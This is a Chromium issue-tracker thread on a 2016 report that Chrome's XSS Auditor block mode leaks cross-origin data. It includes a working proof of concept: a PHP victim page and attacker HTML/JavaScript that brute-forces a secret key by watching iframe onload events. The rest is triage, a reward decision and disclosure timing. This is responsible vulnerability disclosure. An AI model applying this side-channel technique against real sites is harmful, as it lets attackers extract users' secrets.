Issue metadata
Sign in to add a comment
|
Security: Information Leak through XSS Auditor
Reported by
dhavalka...@gmail.com,
Nov 19 2016
|
||||||||||||||||||||||||
Issue descriptionVULNERABILITY DETAILS Attackers can exploit the XSS Auditor's blocking mode in leaking information of any webpage from a different origin. Consider the following script in a webpage with origin different from that of the attacker: <script>var key=719</script> If this webpage sets the X-XSS-Protection header to '1; mode=block', an attacker can find this key for any user. All he/she has to do is make a webpage that loads different URLS such as the one mentioned below in an iframe: http://victim/#<script>var%20key=XXX Where 'XXX' can be brute forced by providing all possible numbers. When 'XXX' equals to '719', the XSS Auditor gets triggered and blocks the page. This prevents the iframe's onload event handler to be called. By checking whether this event handler is called or not, the attacker can retrieve the 'key' of the user. A possible fix to this issue can be that even when the page is blocked by the Auditor, the 'onload' event be called. VERSION Chrome Version: [54.0.2840.71] + [stable] Operating System: [Ubuntu 14.04] REPRODUCTION CASE // victim.php ----- POC --------------------------------------------------- <?php header('X-XSS-Protection: 1; mode=block'); ?> <html> <head> <script>var key=719</script> </head> <body> </body> </html> ------------------------------------------------------------- // attacker.html ------------------------------------------------------------- <html> <head> <script> var urlPrefix = "http://localhost/victim.php#<script>var%20key="; var start = 700; var end = 800; var flag = {}; var ctr = 0; function crack() { var iframeDiv = document.getElementById("iframeDiv"); for(var i = start;i<=end;i++) { flag[i] = false; // Creating iframe var iframe = document.createElement("iframe"); iframe.src = urlPrefix + i; iframe.id = i; iframe.style.width = "1px"; iframe.style.height = "1px"; iframe.onload = iframeOnloadHandler; iframeDiv.appendChild(iframe); } } function iframeOnloadHandler() { var iframe = this; var i = iframe.id; iframe.parentNode.removeChild(iframe); flag[i] = true; ctr += 1; if(ctr==(end-start)) outputKey(); } function outputKey() { var contentDiv = document.getElementById("content"); for(var i = start;i<=end;i++) { if(flag[i]!=true) contentDiv.innerText = "Key found: " + i; } } </script> </head> <body> <button onclick="crack()"/>Crack Key</button> <br /> <div id="iframeDiv"></div> <br /> <div id="content"></div> <br /> </body> </html> -------------------------------------------------------------
,
Nov 21 2016
,
Nov 21 2016
Hi, the vulnerability is different in both of these. However, the effect are same. The vulnerability mentioned in 396544 has already been patched. This is a new one.
,
Nov 28 2016
,
Nov 28 2016
This still requires brute force, as far as I can tell. In other words, the entire key must be guessed, not just a leading prefix. Still, we'd like to fix this.
,
Nov 28 2016
,
Nov 28 2016
,
Nov 29 2016
,
Nov 29 2016
Have you tried this against Canary? We changed the blocking behavior in https://codereview.chromium.org/2425663002, and based on some quick experimentation, it appears that a `load` event is indeed fired. Perhaps I'm misunderstanding your PoC, however.
,
Nov 29 2016
,
Nov 29 2016
,
Nov 29 2016
,
Nov 30 2016
Unfortunately, I only have access to a Linux machine for now and Canary is not supported in linux. What I understand from the patch is that an error page is loaded instead of showing a blank page. If a `load` event is indeed fired, it should probably fix the bug. Someone will have to test that thoroughly.
,
Dec 13 2016
tsepez: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers? If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one? If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started. Thanks for your time! To disable nags, add the Disable-Nags label. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Dec 28 2016
tsepez: Uh oh! This issue still open and hasn't been updated in the last 29 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers? If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one? If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started. Thanks for your time! To disable nags, add the Disable-Nags label. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Dec 28 2016
The rewards program panel reviews bugs for eligibility as part of preparing to roll out the fix. Unfortunately this one isn't there yet.
,
Jan 3 2017
Can we confirm that https://codereview.chromium.org/2425663002 fixed the issue?
,
Jan 5 2017
Hi, I installed Windows 10 and Google Chrome Version 57.0.2972.0 canary (64-bit) My POC didn't work and an 'onload' event was indeed fired. So I guess that that this does fix the issue in Canary but not in the stable version.
,
Jan 5 2017
Thanks.
,
Jan 6 2017
,
Jan 8 2017
,
Jan 9 2017
Your change meets the bar and is auto-approved for M56. Please go ahead and merge the CL manually. Please contact milestone owner if you have questions. Owners: amineer@(clank), cmasso@(bling), gkihumba@(cros), bustamante@(desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Jan 12 2017
,
Jan 12 2017
Hi dhavalkapil@! Thanks very much indeed for the report. Our panel took a look at this and determined that we would have fixed this as part of bug 654794 even without this report. As such this falls outside the VRP, I'm sorry to say. However the panel used their discretion to reward $500. A member of our finance team will be in touch with the details of getting the payment to you, which will get you in the system and make it quicker to pay you if you're rewarded for more bugs in the future :-)
,
Jan 12 2017
Thank you team :) Let me know when I can make this exploit public.
,
Jan 13 2017
dhavalkapil@ - do you have a time/forum in mind where you'd like to talk about the exploit? It's a little more tricky than normal as it doesn't look like our mitigation is due to ship until M57 which would be mid March.
,
Jan 13 2017
I was planning to post about it on my blog. Never mind, I'll wait till it ships.
,
Jan 17 2017
,
Mar 6 2017
,
Mar 8 2017
,
Apr 14 2017
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Apr 25 2018
|
|||||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||||
Comment 1 by mea...@chromium.org
, Nov 21 2016Mergedinto: 396544
Status: Duplicate (was: Unconfirmed)